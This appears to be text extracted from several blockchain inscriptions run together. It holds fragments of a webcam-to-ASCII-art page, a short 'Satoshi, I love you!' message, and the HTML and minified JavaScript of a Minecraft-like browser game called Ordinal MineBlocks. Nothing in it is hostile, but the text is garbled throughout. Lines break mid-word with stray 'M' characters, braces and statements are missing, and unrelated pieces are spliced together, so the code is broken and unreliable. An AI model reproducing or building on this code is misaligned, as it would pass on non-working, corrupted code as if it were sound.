    pointer-events: none;
    background: #fff;
    border: 1px solid #111;
    padding: 3px 10px;
    font-family: monospace;
    cursor: pointer;
    outline: inherit;
    border-radius: 3px;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    font-family: monospace;
    text-align: center;
    margin-top: 20px;
    margin-bottom: 4px;
    background: #222;
    border-radius: 20px;
    box-shadow: 0 0 16px 0 rgba(0, 0, 0, 0.5);
    margin-bottom: 0;
    font-size: 13px;
  <div id="wrapper">
      <video id="video">Portal is closed.</video>
      <canvas id="canvas-video"></canvas>
    <div id="frame">
      <div id="text-video"></div>
      <div id="header">
 You are the art in Chainspace.app
    <button id="stop">Wave</button>
    function run() {
      function isMobM
        return (typeof window.orientation !== "undefined") || (navigator.userAgent.indexOf('IEMobile') !== -1);
      const video = document.getElementById('video')
      video.setAttribute('autoplay', '');
      video.setAttribute('muted', '');
      video.setAttribute('playsinline', '')
      const textVideo = document.getElementById('text-video')
      const canvas = document.getElementById('canvas-video')
      const ctx = canvas.getContext('2d', { willReadFrequently: true });
      let cyclerEnabled = false;
      let cycler = 0;
      let isMobile = isMobileDevice();
      const chars = [..."
      const colors = ["#005F99", "#FF449F", "#FFF5B7", "#FFF5B7", "#00EAD3", ];
      let running = true;
      if (chars.length === 280) {
        cyclerEnabled = true;
      function setCanvasSize() {
        w = Math.min(window.innerWidth, 450);
        h = Math.min(window.innerHeight, isMobileDevice() ? 6M
        height = Math.floor(h / 10);
        width = Math.floor(w / 6.9);
      let resizeTimeout;
      window.onresize = function () {
        clearTimeout(resizeTimeout);
        resizeTimeout = setTimeout(setCanvasSize, 100);
      const init = () => {
        setCanvasSize();
        document.body.classList.add(isMobile ? 'mobile' : null)
        navigator.mediaDevices.getUserMedia({ video: true, audio: false })
          .then(function (stream) {
            video.srcObject = stM
            video.play();
          .catch(function (err) {
            running = false;
      const render = (ctx) => {
        if (width && height) {
          canvas.width = width;
          canvas.height = height;
          ctx.drawImage(video, 0, 0, width, height);
      const getPixelsGreyScale = (ctx) => {
        const imageData = ctx.getImageData(0, 0, canvas.width, canvas.height);
        const data = imageData.data;
const res = new Array(height).fill(0).map(() => []);
        for (let i = 0, c = 0; i < data.length; i += 4) {
          const avg = (data[i] + data[i + 1] + data[i + 2]) / 3;
          let curr = res[row]
          curr.push(avg)
          if (c < width) {
          if (c === width) {
            row += 1
        if (isMobile) {
          return res.map(row => row.slice(row.length / 4, row.length - row.length / 4));
      const getCharByScale = (scale) => {
        const val = Math.floor((scale + cycler) / 255 * (chars.length));
        return chars[val % chars.length];
      const getColorByScale = (scale) => {
        const val = Math.floor((scale + cycler) / 255 * (colors.length));
        return colors[val % colors.length];
      const renderText = (node, textDarkScale) => {
        let gap = isMobileDevice() ? 15 : 10;
        const gridElem = document.createElement('div');
        gridElem.style.gridTemplateColumns = `repeat(${textDarkScale[0].length}, ${gap}px)`;
        gridElem.style.gridTemplateRows = `repeat(${textDarkScale.length}, ${gap}px)`;
        for (let i = 0; i < textDarkScale.length; i++) {
          for (let k = 0; k < textDarkScale[i].length; k++) {
            const textElem = document.createElement('p');
            textElem.style.color = getColorByScale(textDarkScale[i][k]);
            textElem.innerHTML = getCharByScale(textDarkScale[i][k]);
            gridElem.appendChild(textElem);
        node.textContent = "";
        node.appendChild(gridElem);
      const frame = () => requestAnimationFrame(() => {
        const chars = getPixelsGreyScale(ctx)
        renderText(textVideo, chars)
        if (running) {
        if (cyclerEnabled) {
          cycler+=3;
      document.getElementById('stop').addEventListener('click', (ME
        running = !running
        if (running) {
      document.getElementById('text-video').onclick = () => {
        cyclerEnabled = !cyclerEnabled;
    window.addEventListener('DOMContentLoaded', () => {
text/plain;charset=utf-8
Satoshi, I love you!
59.37.100 libvpx-vp9g
text/html;charset=utf-8
<!DOCTYPE html><html><head><style>
body{background:#DDDDDD}
canvas{image-rendering:pixelated;box-sizing:border-box}
body{text-align:center}
button{border-radius:4px}
.fixed{position:fixed;top:4px}
.fps{right:4px;font-family:Impact,Charcoal,sans-serif;color:white;-webkit-text-stroke:1px black;font-variant:small-caps;font-size:20px}
.hidables,.nosaving{display:none}
#lock,#save{background:none;background:#ffffff4d}
  line-height: 100vh;
  font-family: sans-serif
.extended #lock:after{background:#ffffff;content:" Options"}
.extended #save:after{background: #ffffff;content:" Save"}
.extended .hidables,.show{display:initial}
.text{color:#777;text-align:left;padding-left:20px;margin-bottom:80px}.text div{display:inline-block;width:48%}
.text:hover{color:#000}
/* Reset CSS */html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}main,details{display:block}h1{font-size:2em;margin:.67em 0}hr{box-M
sizing:content-box;height:0;overflow:visible}pre{font:1em monospace,monospace}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:bolder}code,kbd,samp{font:1em monospace,monospace}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}img{border-style:none}button,input,optgroup,select,textarea{margin:0;font:100%/1.15 inherit}button,input{overflow:visiblM
e}button,select{text-transform:none}button,[type="button"],[type="reset"],[type="submit"]{-webkit-appearance:button}button::-moz-focus-inner,[type="button"]::-moz-focus-inner,[type="reset"]::-moz-focus-inner,[type="submit"]::-moz-focus-inner{border-style:none;padding:0}button:-moz-focusring,[type="button"]:-moz-focusring,[type="reset"]:-moz-focusring,[type="submit"]:-moz-focusring{outline:1px dotted ButtonText}fieldset{padding:.35em .75em .625em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100M
%;padding:0;white-space:normal}progress{vertical-align:baseline}textarea{overflow:auto}[type="checkbox"],[type="radio"]{box-sizing:border-box;padding:0}[type="number"]::-webkit-inner-spin-button,[type="number"]::-webkit-outer-spin-button{height:auto}[type="search"]{-webkit-appearance:textfield;outline-offset:-2px}[type="search"]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:;font-style:normal;font-variant:normal;font-weight:normal;font-family:inherit}M
summary{display:list-item}[hidden],template{display:none}
  <div id=toolbar class=fixed>
    <button id=lock>
    <button id=save>
    <span class=hidables>
      <button id=load>
      <button id=newseeed>
      <span> | </span>
      <button id=minus>
      <button id=plus>
      <button id=interlace>
  <div class="fixed fps">0</div>
=loading>Click Content to play @OrdMineBlocks</h1>
  <canvas id=game></canvas>
  <div class=center>
    <h1>Ordinal MineBlocks</h1>
    <p>Bringing Blocks on the Blockchain, On-Chain, Forever.</p>
      <h2>Join Us:</h2>
      <p>- Twitter: https://twitter.com/OrdMineBlocks </p>
      <p>- Discord: https://discord.gg/dAqfzKQDBj </p>
    <div class=center>
      <h2>Controls:</h2>
      <p>- <b>[wasd]</b> to move</p>
      <p>- <b>[e]</b> to toggle craftable items</p>
      <p>- <b>[spacebar]</b> to jumM
      <p>- Hold <b>[shift]</b> to take/build on liquids</p>
      <p>- <b>[left click]</b> to break a block</p>
      <p>- <b>[right click]</b> to build a block</p>
      <p>- <b>[number keys]</b> to change selected items</p>
<script type="text/javascript">
  !function(t){function e(n){if(r[n])return r[n].exports;var o=r[n]={i:n,l:!1,exports:{}};return t[n].call(o.exports,o,o.exports,e),o.l=!0,o.exports}var r={};e.m=t,e.c=r,e.d=function(t,r,n){e.o(t,r)||Object.defineProperty(t,r,{configurM
able:!1,enumerable:!0,get:n})},e.n=function(t){var r=t&&t.__esModule?function(){return t.default}:function(){return t};return e.d(r,"a",r),r},e.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},e.p="",e(e.s=12)}([function(t,e,r){"use strict";function n(t,e,r){try{return window.game.map[0|t][0|e][0|r]}catch(e){}}var o=r(1),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=!1,u=!1,c=!1,f=document.querySelector("#game");(0,i.default)(function(){u=!1}),t.exports={dlog:function(){c||(c=!0,console.M
log.apply(this,arguments),setTimeout(function(){return c=!1},500))},drawAllTextures:function(){for(var t=window.game,e=t.pixels,r=t.texmap,n=t.width,o=0;21>o;o++)for(var i=0;i<48;i++)for(var a=0;16>a;a++){var u=r[a+16*i+256*o*3],c=1.328125,f=16*o,s=f+a,l=n*i;16<o&&(s-=272,l=n*(i+48));var d=4*(s+l);e.data[d+0]=(255&u>>16)*c,e.data[d+1]=(255&u>>8)*c,e.data[d+2]=(255&u)*c}},getBlock:n,setBlock:function(t,e,r,n,o,i){if(o=o||window.game.map,!(255<t||255<e||255<r))try{o[t][e][r]!==i&&(o[t][e][r]=n)}catch(e){}},isInsideChM
eck:function(){if(u)return a;u=!0;for(var t,e=window.game.player,r=e.x,o=e.y,i=e.z,c=o;0<c;c--)if(0!==(t=n(r,c,i))&&8!==t)return a=!0;return a=!1},calcArcFromLength:function(t,e){var r=e/2;return(r-Math.abs(t-r))/r},tryCatch:function(t){var e=null;try{e=t()}catch(t){e=null}return e},getCanvas:function(){return f}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=[];setInterval(function(){r.forEach(function(t){return t()})},1e3),e.default=function(t){r.push(t)}},function(t,e,r){"useM
 strict";function n(){return Math.abs(c)/255}function o(){var t=f[0],e=f[1],r=f[2],o=s[0],i=s[1],a=s[2],u=n(),c=[t*(1-u),e*(1-u),r*(1-u)],l=[o*u,i*u,a*u];return[c[0]+l[0],c[1]+l[1],c[2]+l[2]]}Object.defineProperty(e,"__esModule",{value:!0}),e.time=void 0;var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){iM
f(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a),c=e.time=0,f=[154,218,255],s=[200,25,75];(0,u.default)(function(){e.time=c+=.5,255<c&&(e.time=c=-255)}),t.exports={color:function(){var t=o(),e=i(t,3),r=e[0],a=e[1],u=e[2],c=1-n();return[r*c,a*c,u*c]},timeModifier:n,setTime:function(t){e.time=c=parseFloat(t)},getTime:function(){return c}}},function(t,e,M
r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=r(0),o=function(t){return t&&t.__esModule?t:{default:t}}(n);e.default={safeGet:function(t){return o.default.tryCatch(function(){return localStorage.getItem(t)})||""},safeSet:function(t,e){return o.default.tryCatch(function(){return localStorage.setItem(t,e)})||""},exits:function(){try{return localStorage.getItem(null),!0}catch(t){return!1}}}},function(t){"use strict";t.exports={RES:{WIDTH:320,HEIGHT:240},MAP_SIZE:256,MAX_FPS:60,SEA_LEVEL:30,MAP_M
SCALE:31,JMP:{STR:.4,AMP:.001},BLOCKS_MAP:[[2,4,12,7,9,11,13,14,15,16],[1,20,3,6,10,8,5,17,18,19]],CRAFTABLES:{2:[1,1],4:[20,6],7:[6,.25],9:[10,8],11:[8,.5],12:[3,4],13:[5,2],14:[17,9],15:[18,9],16:[19,9]},LOCAL_STORAGE:["_mcm","_mcs","_mct","_mci"]}},function(t,e,r){"use strict";function n(t){for(var e=0;e<t.length;e++){var r=e%256,n=0|e/256%64,o=0|e/256/64;if("-"!==t[e]){var i=l.indexOf(t[e]);-1!==i&&(window.game.map[o][n][r]=i)}}}function o(t,e){for(var r="",n=0;n<e;n++)r+=t;return r}function i(t){for(var e,r=""M
,n="",i=0;i<t.length;i++)e=/\d/.test(t[i]),e?n+=t[i]:n?(r+=o(t[i],parseInt(n,10)),n=""):r+=t[i];return r}var a=r(0),u=r(2),c=r(3),f=function(t){return t&&t.__esModule?t:{default:t}}(c),s=r(6),l=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)});t.exports={main:function(){var t=window,e=t.game,r=f.default.safeGet("_mct"),o=(0,a.tryCatch)(function(){return JSON.parse(f.default.safeGet("_mci"))});o&&(e.hotbar.items=o.map(function(t){return null===t?1/0:t})),r&&(0,u.setTime)(r);var c=f.default.safeGM
et("_mcm");c&&n(i(s.decompress(c)))},unMinify:i}},function(t){"use strict";var e=String.fromCharCode,r=32768,n=Object.prototype.hasOwnProperty,o=Math.pow,i=function(t){return t.charCodeAt(0)};t.exports={compress:function(t){if(null==t)return"";var r,a,u,c=function(t){return e(t)},f={},s={},l="",d="",v="",m=2,h=3,p=2,w=[],y=0,g=0;for(u=0;u<t.length;u+=1)if(l=t.charAt(u),n.call(f,l)||(f[l]=h++,s[l]=!0),d=v+l,n.call(f,d))v=d;else{if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(aM
=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;m--,0==m&&(m=o(2,p),p++),f[d]=h++,v=l+""}if(""!==v){if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(a=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)M
),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;0==--m&&(m=o(2,p),p++)}for(a=2,r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;for(;;){if(y<<=1,15==g){w.push(c(y));break}g++}return w.join("")},decompress:function(t){var n,i,a,u,c,f,s,l=function(e){return t.charCodeAt(e)},d=[],M
v=4,m=4,h=3,p="",w=[],y={val:l(0),position:r,index:1};for(n=0;3>n;n+=1)d[n]=n;for(a=0,c=o(2,2),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);breaM
k;case 2:return""}for(d[3]=s,i=s,w.push(s);;){if(y.index>t.length)return"";for(a=0,c=o(2,h),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(s=a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;d[m++]=e(a),s=m-1,v--;break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<M
=1;d[m++]=e(a),s=m-1,v--;break;case 2:return w.join("")}if(0==v&&(v=o(2,h),h++),d[s])p=d[s];else{if(s!==m)return null;p=i+i.charAt(0)}w.push(p),d[m++]=i+p.charAt(0),v--,i=p,0==v&&(v=o(2,h),h++)}}}},function(t,e,r){"use strict";var n=r(8),o=r(14),i=r(17);t.exports={mapDataType:n,map:o,textures:i}},function(t){"use strict";t.exports=function(){var t=window.game.CONST.MAP_SIZE;return Array(t).fill(0).map(function(){return Array(64).fill(0).map(function(){return Array(t).fill(0)})})}},function(t,e,r){"use strict";var nM
=Math.PI,o=Math.cos,i=Math.sin,a=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),u=r(4),c=r(10),f=r(0),s=f.getBlock,l={forward:0,backward:0,strafeLeft:0,stM
rafeRight:0,jump:0,jumping:0,shift:0};t.exports={applyGravity:function(){var t=window.game.CONST.JMP,e=t.AMP,r=t.STR,n=window.game.player,o=n.x,i=n.y,a=n.z;i+=2;var u=s(o,i,a);if(l.jump&&0<u&&(n.velocity=-r,l.jumping=1),l.jumping){n.velocity+=n.velocity+r+e,0<n.velocity&&(n.velocity=0,l.jumping=0);var c=s(o,n.y+n.velocity,a);return void(0==c?n.y+=n.velocity:9==c&&(n.y+=n.velocity/8))}if(0==u||9==u){3>n.velocity&&(n.velocity+=.2);var f=n.y+.1*n.velocity/(0==u?1:4),d=s(o,Math.ceil(f)+1,a);return void(n.y=0==d||9==d?fM
:0|f)}n.velocity=0},calculateMovement:function(){var t=window.game.player,e=s(t.x,t.y+1,t.z);if(l.forward||l.backward||l.strafeLeft||l.strafeRight){var r=9==e?16:8,a=t.x,u=t.y+1.8,c=t.z,f=i(t.yaw)/r,d=o(t.yaw)/r;l.forward?(a+=f,c+=d):l.backward&&(a-=f,c-=d);var v=t.yaw-n/2,m=i(v)/r,h=o(v)/r;l.strafeLeft?(a+=m,c+=h):l.strafeRight&&(a-=m,c-=h);var p=s(a,u,c);if(0==p||9==p)t.x=a,t.z=c;else{var w=s(a,u,t.z),y=s(t.x,u,c);0==w||9==w?t.x=a:(0==y||9==y)&&(t.z=c)}}},init:function(){var t=window.game,e=t.player,r=t.map,f=docM
ument.addEventListener,d=document.getElementById("game"),v=function(t){var r=t.movementX||t.mozMovementX||t.webkitMovementX||0,o=t.movementY||t.mozMovementY||t.webkitMovementY||0;e.yaw=(e.yaw+r/500)%7.855,e.pitch-=o/1e3;var i=n/2,a=-i;e.pitch<a&&(e.pitch=a),e.pitch>i&&(e.pitch=i)};d.addEventListener("click",function(){d.requestPointerLock=d.requestPointerLock||d.mozRequestPointerLock||d.webkitRequestPointerLock,d.requestPointerLock()}),f("keydown",function(t){t.preventDefault();var e=window,r=e.game,n=t.keyCode;16=M
=n?l.shift=1:65==n?l.strafeLeft=1:68==n?l.strafeRight=1:87==n?l.forward=1:83==n?l.backward=1:32==n?l.jump=1:48==n?r.hotbar.selected=9:49<=n&&57>=n?r.hotbar.selected=n-49:69==n&&(r.hotbar.side=r.hotbar.side?0:1)}),f("keyup",function(t){var e=t.keyCode;16==e?l.shift=0:65==e?l.strafeLeft=0:68==e?l.strafeRight=0:87==e?l.forward=0:83==e?l.backward=0:32==e&&(l.jump=0)}),f("click",function(t){for(var e,n=window.game,f=n.player,d=n.hotbar,v=d.items,m=f.x,h=f.y,p=f.z,w=[],y=0;6e3>y;y++){e=o(f.pitch),m+=i(f.yaw)*e/1e3,h-=i(fM
.pitch)/1e3,p+=o(f.yaw)*e/1e3;var g=s(m,h,p),M=0<g;if((9==g||10==g)&&(M=l.shift),M){if(0===t.button)r[0|m][0|h][0|p]=0,(0,c.inventoryAdd)(g);else if(2===t.button){var b=w,_=a(b,3),x=_[0],A=_[1],S=_[2],k=u.BLOCKS_MAP[d.side][d.selected],E=v[k];if(!E)return;r[0|x][0|A][0|S]=k||1,(0,c.inventoryRemove)(k)}return}w=[m,h,p]}}),["pointer","mozpointer","webkitpointer"].forEach(function(t){return document.addEventListener(t+"lockchange",function(){var t=document,e=t.pointerLockElement,r=t.mozPointerLockElement,n=t.webkitPoiM
nterLockElement;document[e==d||r==d||n==d?"addEventListener":"removeEventListener"]("mousemove",v)})})}}},function(t,e,r){"use strict";function n(t,e,r){for(var n=window.game,o=n.pixels,i=n.texmap,a=n.width,u=n.hotbar,c=0;16>c;c++)for(var f=0;16>f;f++){var s=i[f+16*(c+16)+256*t*3],l=u.items[t],d=1.328125,v=(255&s>>16)*d,m=(255&s>>8)*d,h=(255&s)*d,p=4*(e+f+(r+c)*a);if(!l){var w=(v+m+h)/6;v=w+v/3,m=w+m/3,h=w+h/3}o.data[p+0]=v,o.data[p+1]=m,o.data[p+2]=h}}function o(t,e,r){var n=window.game.ctx;if(void 0!=t&&t!==1/0){M
var o=999<t?(0|t/1e3)+"k":t;n.font="100 8px OCR A Std,Impact,monospace",n.strokeStyle="black",n.textAlign="right",n.lineWidth=2,n.fillStyle="#fff",n.strokeText(o,e,r),n.fillText(o,e,r)}}var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(M
e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(4),u=a.BLOCKS_MAP,c=a.CRAFTABLES,f=function(){return(window.game.width-180)/2},s=function(){return window.game.height-16-8},l=function(t){var e=0;return Object.entries(c).some(function(r){var n=i(r,2),o=n[0],a=n[1];return i(a||[],1)[0]===t&&(e=o,!0)}),e};t.exports={drawIcons:function(){var t=window.game.hotbar;u[t.side].forEach(function(t,e){n(t,f()+18*e,s())})},drawHotbarBorder:function(){var t=window.game,e=t.ctx,r=t.hotbar,nM
=f()+18*r.selected;e.lineWidth=1,e.strokeStyle="#fff",e.strokeRect(n+1,s()+1,14,14),e.strokeStyle="#000",e.strokeRect(n,s(),16,16)},drawIconNumers:function(){for(var t=window.game.hotbar,e=t.side,r=0;10>r;r++){var n=f()+18*r,i=u[e][r];o(t.items[i],n+16,s()+16)}},inventoryAdd:function(t){var e=window.game.hotbar,r=e.items;r[t]++;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]+=d}},inventoryRemove:function(t){var e=window.game.hotbar,r=e.items;r[t]--M
;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]-=d}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=Math.cos,i=Math.sin,a=r(2),u=n(a),c=r(1),f=n(c),s=r(21),l=n(s),d=r(0),v=0,m=0;(0,f.default)(function(){m=(m+1)%3}),t.exports={render:function(){var t=window.game,e=t.texmap,r=t.width,n=t.height,a=t.player,c=t.CONST,f=(t.fps,t.scanlinesEnabled),s=t.renderDistance,h=o(a.pitch),p=i(a.pitch),w=o(a.yaw),y=i(a.yaw)M
,g=a.x-(0|a.x),M=a.y-(0|a.y),b=a.z-(0|a.z);v=v?0:1;for(var _=0;_<r;_++)for(var x=(0,d.calcArcFromLength)(_,r),A=(_-r/2)/n,S=f?_%2+v-1:0;S<n;S+=f?2:1){for(var k,E=(0,d.calcArcFromLength)(S,n),L=s+(s*x+s*E)/2,T=(S-n/2)/n,C=h+T*p,O=T*h-p,I=A*w+C*y,P=C*w-A*y,j=0,R=255,z=0;3>z;z++){k=I,1==z&&(k=O),2==z&&(k=P);var B=1/Math.abs(k),N=I*B,D=O*B,F=P*B,G=g;1==z&&(G=M),2==z&&(G=b),0<k&&(G=1-G);var q=a.x+N*G,H=a.y+D*G,W=a.z+F*G;0>k&&(z||q--,1==z&&H--,2==z&&W--);for(var X,Z=B*G,J=c.MAP_SIZE-1;Z<L;){if(X=(0,d.getBlock)(q&J,63&H,WM
&J),(W>J||63<H||q>J||0>W||0>H||0>q)&&(X=0),0<X){var K=15&16*(q+W),Y=16+(15&16*H);1==z&&(K=15&16*q,Y=15&16*W,0>D&&(Y+=32));var V=e[K+16*Y+256*X*3];if(0<V){if(j=V,1==z&&(9==X||10==X)){var U=K+Y*(m+1)*16+256*X*3;9==X&&7680>U?j=e[U]:10==X&&8680>U&&(j=e[U])}var Q=u.default.timeModifier(),$=1-Z/s*Q;R=(255-(z+2)%3*50)*$,L=Z}}q+=N,H+=D,W+=F,Z+=B}}(0,l.default)(_,S,R,j)}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=r(13),i=n(o),a=r(5),u=n(a),c=r(2),f=r(1),s=n(f),l=r(0),d=r(3),v=n(M
d),m=r(9),h=r(7),p=r(18),w=r(4),y=w.RES,g=y.WIDTH,M=y.HEIGHT,b=0|w.MAP_SIZE/2;document.title="Ordinal MineBlocks",window.game={CONST:w},window.game={CONST:w,width:g,height:M,getTime:c.getTime,setTime:c.setTime,player:{x:b,y:0,z:b,velocity:0,pitch:-.1,yaw:0},hotbar:{selected:0,side:0,items:Array(21).fill(0)},map:h.map(),texmap:h.textures(),ctx:document.getElementById("game").getContext("2d"),fps:0,scanlinesEnabled:!0,renderDistance:32},document.addEventListener("DOMContentLoaded",function(){var t=window,e=t.game,r=eM
.width,n=e.height,o=e.ctx,a=document.getElementById("toolbar"),c=(0,l.getCanvas)();c.width=r,c.height=n;var f=function(){var t=1.3334*window.innerHeight,e=window.innerHeight;.75*window.innerWidth<window.innerHeight&&(t=window.innerWidth,e=.75*window.innerWidth),c.setAttribute("style","width: "+t+"px; height: "+e+"px")};e.pixels=o.createImageData(r,n),e.pixels.data.fill(255),window.addEventListener("resize",f),f(),m.init(),p.clock.init(),setTimeout(u.default.main,500),(0,s.default)(function(){window.game}),a.addEvenM
tListener("click",function(t){var r=t.target.id;"lock"===r?a.classList.toggle("extended"):"save"===r?(0,i.default)():"load"===r?window.location.reload():"plus"===r?e.renderDistance+=5:"minus"===r?e.renderDistance-=5:"interlace"===r?setTimeout(function(){return e.scanlinesEnabled=!e.scanlinesEnabled},1):"newseeed"===r&&confirm("Generate a new seed? This will erase your current save.")&&(w.LOCAL_STORAGE.forEach(function(t){return localStorage.removeItem(t)}),v.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INM
TEGER),window.location.reload()),5>e.renderDistance?e.renderDistance=5:255<e.renderDistance&&(e.renderDistance=255)})})},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){for(var t="",e=m(h()),r=m(window.game.map),n=0;n<r.length;n++){var o=e[n],i=r[n];t+=o===i?"-":i}return t}function i(t){for(var e="",r=t[0],n=1,o=1;o<t.length;o++)t[o]===r?n++:(e+=1==n?r:n+r,r=t[o],n=1);return e+=n+r}Object.defineProperty(e,"__esModule",{value:!0}),e.stringify=void 0;var a=r(5),u=r(2),c=r(M
7),f=n(c),s=r(3),l=n(s),d=r(6),v=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)}),m=e.stringify=function(t){return t.map(function(t){return t.map(function(t){return t.map(function(t){return v[t]||v[0]}).join("")}).join("")}).join("")},h=function(){return window.game._map=window.game._map||f.default.map()};e.default=function(){var t=window,e=t.game;l.default.safeSet("_mct",(0,u.getTime)()),l.default.safeSet("_mci",JSON.stringify(e.hotbar.items));var r=o();console.log("saving mapStr length",r.leM
ngth);var n=i(r),c=d.compress(n);console.log("minified",n.length,n),console.log("compressed",c.length,c),l.default.safeSet("_mcm",c);var f=d.decompress(c);(0,a.unMinify)(f)===r?console.log("success"):console.log("Could not save map internally")}},function(t,e,r){"use strict";function n(t,e,r,n){for(var o=e*r%6+6,i=0;i<o;i++)t[e][r-i][n]=7;for(var a=o;0<a;a-=3)for(var u=-1;2>u;u++)for(var f=-1;2>f;f++)c(f+e,r-a,u+n,8,t,7)}var o=Math.floor,i=r(3),a=function(t){return t&&t.__esModule?t:{default:t}}(i),u=r(0),c=u.setBlM
ock,f=r(8),s=r(15),l=a.default.exits(),d=a.default.safeGet("_mcs");l?!d&&(a.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INTEGER),window.location.reload()):(d=0,document.querySelector(".nosaving").classList.toggle("show"),console.log('no localstorage. Using seed "0". No saving permitted'));var v=s(d),m={1:1,2:1,4:1};t.exports=function(){for(var t=window.game.CONST,e=t.SEA_LEVEL,r=t.MAP_SCALE,i=t.MAP_SIZE,a=f(),u=function(){return Array(i)},c=document.getElementById("loading"),s=u(),l=u(),d=0;d<i;d++){s[d]M
=u(),l[d]=u();for(var h,p=0;p<i;p++){h=v(d/r,p/r,0),h*=10,h+=32,h=o(h),s[d][p]=h;var w=v(d/2,p/2,0);w*=3,w=o(w),l[d][p]=w,window.treeMap=l}}console.log("ran");for(var y=0;y<i;y++)for(var g,M=0;M<i;M++){g=s[y][M],a[y][g][M]=g<=e?1:12;for(var b=g-1;b>e;b--)a[y][b][M]=9;for(var _=g+1;64>_;_++)a[y][_][M]=4;-2>=l[y][M]&&g<e&&n(a,y,g-1,M),34==g&&(a[y][g][M]=13);for(var x=e-5;64>x;x++){if(48<x){var A=v(y/r*4,x/r*2,M/r*4);if(.55<A&&.6>A){var S=a[y][x][M];m[S]&&(a[y][x][M]=10)}}var k=v(y/r*2,x/r*4,M/r*2);if(.35<k&&.8>k){varM
